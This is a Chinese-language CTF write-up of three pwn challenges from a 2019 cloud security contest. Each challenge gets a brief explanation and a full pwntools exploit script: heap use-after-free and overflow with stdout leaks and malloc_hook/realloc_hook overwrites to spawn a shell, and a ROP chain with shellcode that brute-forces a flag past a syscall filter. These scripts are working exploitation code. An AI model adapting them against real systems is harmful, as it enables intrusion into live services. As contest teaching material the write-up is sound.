2019數(shù)字經(jīng)濟(jì)云安全共測(cè)大賽初賽_pwn

fkroman

  • 與De1CTF 2019 的Weapon基本一樣,delete存在uaf,edit函數(shù)存在堆溢出,題目沒有輸出函數(shù),所以要通過_IO_FILE來泄漏libc,

  • 具體思路為先free一個(gè)fastbin,然后利用堆溢出修改fastbin的size為0x91,再次free,此時(shí)chunk即會(huì)包含main_arena+88,而后再利用UAF將fd爆破指向stdout前的位置(包含合法size”\x7F”),進(jìn)而修改stdout結(jié)構(gòu)體的_flags和_IO_write_base來輸出一段數(shù)據(jù)(包含libc_addr)
    leak后再次利用uaf修改malloc_hook為one_target即可get shell

exp

from pwn import *
#context.log_level = 'debug'


def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def sd(x):
    p.send(x)

def alloc(idx,size):
    ru('choice: ')
    sl('1')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))

def free(idx):
    ru('choice: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))


def edit(idx,size,cont):
    ru('choice: ')
    sl('4')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    sd(cont)

def pwn(p):
    #gdb.attach(p)
    alloc(0,0x10)
    alloc(1,0x60)
    alloc(2,0x60)
    alloc(3,0x90)
    alloc(4,0x20)

    free(1)
    pay = p64(0)*3 + p64(0xe1)
    edit(0,len(pay),pay)
    free(3)
    free(1)
    pay = p64(0)*3 + p64(0x71)
    edit(0,len(pay),pay)

    #baopo stdout -> leak libc
    #0x7f61bcf41b78 -> 0x7f61bcf42620
    #0x7fa54b50bb78 -> 0x7fa54b50c620
    #1/16 chance
    pay = '\xdd' + '\x25'
    edit(1,len(pay),pay)
    alloc(5,0x60)
    alloc(5,0x60)
    pay = '\x00'*3 + p64(0)*6 + p64(0xfbad1887) + p64(0)*3 + '\x00'
    edit(5,len(pay),pay)

    p.recvuntil("\x7f")
    p.recv(2)
    libc_base = u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
    malloc_hook = libc_base + 0x3c4b10
    log.success('libc_base : 0x%x'%libc_base)
    info('malloc_hook : 0x%x'%malloc_hook)
    one_gadget = libc_base + 0x4526a

    #uaf hijack malloc_hook -> one_gadget
    free(2)
    edit(2,8,p64(malloc_hook-0x23))
    alloc(2,0x60)
    alloc(2,0x60)
    pay = 'a'*0x13 + p64(one_gadget)
    edit(2,len(pay),pay)

    #trigger malloc_hook
    ru('choice: ')
    sl('1')
    ru('Index: ')
    sl('0')
    ru('Size: ')
    sl('10')

    
    p.interactive()

while True:
    try:
        p = process('./fkroman')
        pwn(p)
    except Exception as e:
        p.close()

amazon

  • tcache的題目,題目有uaf,uaf先泄漏libc,但是由于出題人錯(cuò)開了0x20寫的位置,所以通過先free一個(gè)chunk進(jìn)tcache,然后等填充滿tcache時(shí)再double free,同時(shí)通過前向合并再malloc一個(gè)大的堆塊可以對(duì)tache bin的fd進(jìn)行修改,由于直接改malloc_hook不符合one_gadget的條件,所以通過realloc_hook和malloc_hook來出發(fā)one_gadget
from pwn import *
context.log_level = 'debug'

p = process('./amazon')

def sl(x):
    p.sendline(x)

def sd(x):
    p.send(x)

def ru(x):
    p.recvuntil(x)

def buy(item,many,size,cont):
    ru('Your choice: ')
    sl('1')
    ru('want to buy: ')
    sl(str(item))
    ru('How many: ')
    sl(str(many))
    ru('r note: ')
    sl(str(size))
    ru('Content: ')
    sd(cont)

def show():
    ru('Your choice: ')
    sl('2')

def checkout(idx):
    ru('Your choice: ')
    sl('3')
    ru('pay for: ')
    sl(str(idx))


for i in range(12):
    buy(0,30,0x80,'aaaa')

for i in range(8):
    checkout(i)

show()
for i in range(8):
    p.recvuntil('Name: ')

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 96 - 0x3ebc40
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3ebc28 - 0x20
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c
libc = ELF('libc-2.27.so')
realloc = libc_base + libc.symbols['__libc_realloc']
checkout(3)
checkout(4)

pay = 'd'*0x80 + p64(0xb0) + p64(0xb0) + p64(realloc_hook)
buy(0,30,0x100,pay)

buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0xa0-0x28,p64(one_gadget)+p64(realloc+9))

gdb.attach(p,'b *0x5555555552e7')
ru('Your choice: ')
sl('1')
ru('want to buy: ')
sl('0')
ru('How many: ')
sl('10')
ru('r note: ')
sl('10')
#


p.interactive()

dark

  • 程序限制了只能執(zhí)行mprotect,read,open的syscall,程序有明顯的棧溢出,所以思路是先通過mprotect改bss為rwx,然后往bss段上寫shellcode,open,read我們的flag到bss段上,最后再shellcode爆破,爆破思路如下,alarm+5的地址有syscall,所以我們可以先改alarm_got的地址為alarm+5即為syscall

  • 具體的思路可以參考https://ama2in9.top/2019/09/22/CloudSecCTF/#more

  • 以及寫shellcode爆破flag的思路來源 https://bbs.pediy.com/thread-217899-1.htm

#coding:utf-8
import signal
from pwn import *

#context.log_level = 'debug'
context.binary = './dark'





def sl(x):
    p.sendline(x)

def sd(x):
    p.send(x)

def ru(x):
    p.recvuntil(x)

def csu(chunk,fake_rbp,r12,r13,r14,r15,call_addr):
    p6_ret = 0x401272
    mov_call = 0x401258
    pay = chunk + p64(p6_ret)
    pay += p64(0) + p64(1) + p64(r12)
    pay += p64(r13) + p64(r14) + p64(r15)
    pay += p64(mov_call) + 'a'*16 + p64(fake_rbp) 
    pay += 'a'*32 + p64(call_addr)
    return pay

def pwn(p,num,char):

    # rbx rbp r12       r13 r14 r15
    # 0   1   call_got  rdi rsi rdx

    #rbx rbp r12 r13 r14 r15
    p6_ret = 0x401272
    mov_call = 0x401258
    alarm_got = 0x404030
    read_got = 0x404038
    bss_addr = 0x404050+0x100
    main_addr = 0x4011F1
    leave_ret = 0x4011ef

    #read(0,bss,0x1000) -> stack migration
    pay = csu('a'*0x18,bss_addr,read_got,0,bss_addr,0x1000,leave_ret)

    #gdb.attach(p,'b *0x401261')
    sd(pay)

    sleep(0.1)

    #bss -> read(0,alarm_got,1)
    pay = csu('a'*8,bss_addr+0x100,read_got,0,alarm_got,0x1,leave_ret)
    pay = pay.ljust(0x100,'a')

    #bss+0x100 -> set rax
    pay += csu('a'*8,bss_addr+0x200,read_got,0,bss_addr-0x50,0xa,leave_ret)
    pay = pay.ljust(0x200,'a')

    #bss+0x200 -> mrpotect(0x404000,0x1000,7)
    pay += csu('a'*8,bss_addr+0x300,alarm_got,0x404000,0x1000,7,leave_ret)
    pay = pay.ljust(0x300,'a')

    #open('/flag')
    pay += 'a'*8 + p64(0x404460)
    pay += asm(shellcraft.amd64.linux.open('./flag\x00'))
    pay += asm(shellcraft.amd64.linux.read(3,bss_addr+0x500,0x50))
    flag_addr = 0x404650
    sc = asm('''
            xor rdi,rdi;
            xor rsi,rsi;
            xor rdx,rdx;
            push 0x404650;
            pop rcx;
            push 0x404750;
            pop rsi;
            mov rdx,0x100;
            ''')
    sc += asm('mov rbx,[rcx+'+str(num)+']')
    sc += asm('cmp bl,'+str(char))
    sc += '\x74\x08' #je 8
    sc += 'a'*8
    sc += asm('mov rax,0;syscall')
    pay += sc

    sd(pay)

    sleep(0.1)
    sd('\x45')

    sleep(0.1)
    sd('a'*0xa)


    #p.interactive()
    #sd('a')




def myHandler(signum, frame):
    #print 'cont : ',cont
    print 'index : ',index,'i : ',i
    cont.append(i)
    print cont
    if i == 125:
        flag = ''
        for j in cont:
            flag += chr(j)
        print flag
        exit()

index = 0
cont = []
m = 'bbb'

while True:
    for i in range(0x20,0x80):
        signal.signal(signal.SIGALRM, myHandler)
        signal.alarm(3)
        try:
            #print 'index',index,'i : ',i
            p = process('./dark')
            pwn(p,index,i)
            p.recvline()
            p.close()
        except Exception as e:
            p.close()
        finally:
            p.close()
    index += 1

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 數(shù)字經(jīng)濟(jì)云安全ctf Pwn 1. amazon menu show checkout free后未置NULL,可...
    Nevv閱讀 957評(píng)論 0 0
  • X-man-A face:這道題是二維碼補(bǔ)圖的題,用ps將那兩個(gè)空的角補(bǔ)全就好了,掃碼可以得到一串base64加密...
    zs0zrc閱讀 998評(píng)論 0 0
  • 網(wǎng)鼎杯第一場(chǎng)wp guess防護(hù)機(jī)制:image.png 開啟了canary和NX 簡單的看了下反編譯的邏輯 發(fā)現(xiàn)...
    zs0zrc閱讀 2,096評(píng)論 0 4
  • 茫茫四海飄無際, 浮沉悠悠渺無蹤。 仗劍天涯安何處? 天地一瞬任逍遙。
    葉湫楓閱讀 236評(píng)論 0 1
  • 可能沒有誰讀詩歌, 在一個(gè)自由自在的晚上 湖泊舊了,月影也是銹的 燈亮一整晚,一整晚 詩卻大多一地純白 多是無心揣...
    川石x閱讀 319評(píng)論 10 7

友情鏈接更多精彩內(nèi)容